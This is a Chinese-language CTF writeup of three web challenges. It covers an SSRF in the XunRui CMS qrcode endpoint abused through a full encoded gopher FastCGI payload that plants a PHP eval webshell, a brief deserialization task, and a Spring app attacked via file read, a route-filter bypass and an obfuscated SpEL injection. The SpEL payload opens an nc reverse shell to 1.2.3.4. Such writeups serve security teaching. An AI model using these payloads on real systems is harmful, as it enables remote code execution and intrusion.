Web
ezxunrui
分析
1、下载附件开始审计 迅睿路由规则不过多介绍了,需要选手自行分析代码逻辑,这里只公布漏洞点。 控制器在如下位置。
在API控制器中。 存在qrcode 操作用来生成二维码,会获取略缩图参数,如图。
跟进一下
发现存在curl的调用, 存在SSRF漏洞。
2、SSRF FastCGI RCE
题目环境是通过 FastCGI搭建的,并暴露9000端口,SSRF FastCGI 老生常谈了。
使用exp.py 生成gopher payload。
payload 核心 是将一句话木马写入 uploadfile文件下。
发送payload
http://ip:port/index.php?
s=api&c=api&m=qrcode&text=123&thumb=gopher://127.0.0.1:9000/_%252501%252501H%252
5B7%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500
%252500%252501%252504H%2525B7%252501%2525DB%252500%252500%252511%25250BGATEWAY_I
NTERFACEFastCGI/1.0%25250E%252504REQUEST_METHODPOST%25250F%252517SCRIPT_FILENAME
/var/www/html/index.php%25250B%252517SCRIPT_NAME/var/www/html/index.php%25250C%2
52500QUERY_STRING%25250B%252517REQUEST_URI/var/www/html/index.php%25250D%252501D
OCUMENT_ROOT/%25250F%25250ESERVER_SOFTWAREphp/fcgiclient%25250B%252509REMOTE_ADD
R127.0.0.1%25250B%252504REMOTE_PORT9985%25250B%252509SERVER_ADDR127.0.0.1%25250B
%252502SERVER_PORT80%25250B%252509SERVER_NAMElocalhost%25250F%252508SERVER_PROTO
COLHTTP/1.1%25250C%252510CONTENT_TYPEapplication/text%25250E%252502CONTENT_LENGT
H93%252509%25251FPHP_VALUEauto_prepend_file%252520%25253D%252520php%25253A//inpu
t%25250F%252516PHP_ADMIN_VALUEallow_url_include%252520%25253D%252520On%252501%25
2504H%2525B7%252500%252500%252500%252500%252501%252505H%2525B7%252500%25255D%252
500%252500%25253C%25253Fphp%252520file_put_contents%252528%252522/var/www/html/u
ploadfile/index.php%252522%25252C%252522%25253C%25253Fphp%252520eval%252528%2525
5C%252524_POST%25255B1%25255D%252529%25253B%25253F%25253E%252522%252529%25253B%2
5253F%25253E%252520%252501%252505H%2525B7%252500%252500%252500%252500
接着访问/uploadfile/index.php获取flag。
pop1
- 使用GET方式传入 name、age ,并拦截数据包。
- 构造反序列化
- 在传入pop参数,获取 flag 如下:
芝士雪豹
首页:
f12,根据图片 可以找到一个接口
这图片接口存在任意文件读取
过滤了flag和file协议
可以使用netdoc协议列目录 找到jar包下载下来 得到源码
分析源码:
主要是FileController 在/parse路由存在一个SpEL表达式,但是是从文件中读取表达式来执行,并且有 过滤
首先路由是/parse但是url中又不允许出现parse,这个可以直接url编码访问该路由: /%70arse?path=
然后SpEL表达式 绕过过滤RCE 反弹shell:
''.class.forName('jav'+'a.lang.R'+'untime').getDeclaredMethods()
[15].invoke(''.class.forName('jav'+'a.lan'+'g.Ru'+'ntime').getDeclaredMethods()
[7].invoke(null),'nc 1.2.3.4 12345 -e /bin/sh')
这里最大的问题是,spel表达式是从文件中取到的,但是我们并没有写文件的方法,如何把上述spel payload写进去?
这里利用上传原理,springboot底层依然使用tomcat,tomcat处理上传表单会生成临时文件(和PHP 一样),这里我直接进入docker给大家看一下:
很明显 /tmp/tomcat.8080.7699636244416751710/work/Tomcat/localhost/ROOT/upload_d1496d8a_0 901_4b7c_b2e9_426dd461468f_00000046.tmp 这样的路径是我们拿不到的
其实我们可以通过proc拿到文件内容,而且在docker里因为jar包是直接运行的,一般都是1号进行,所 以我们直接读 /proc/1/fd/xx ,对xx做爆破即可 首先准备一个大文件上传,开始burp不停重放(这里不用担心是不是会干扰spel格式,因为代码写了只 会读取文件第一行然后做spel表达式执行)
然后去爆破一圈fd/xx
就能反弹shell了
标签:25250B%,Web,index,writeup,252501%,252500%,spel,文件,2022 From: https://www.cnblogs.com/via-liabs/p/17475867.html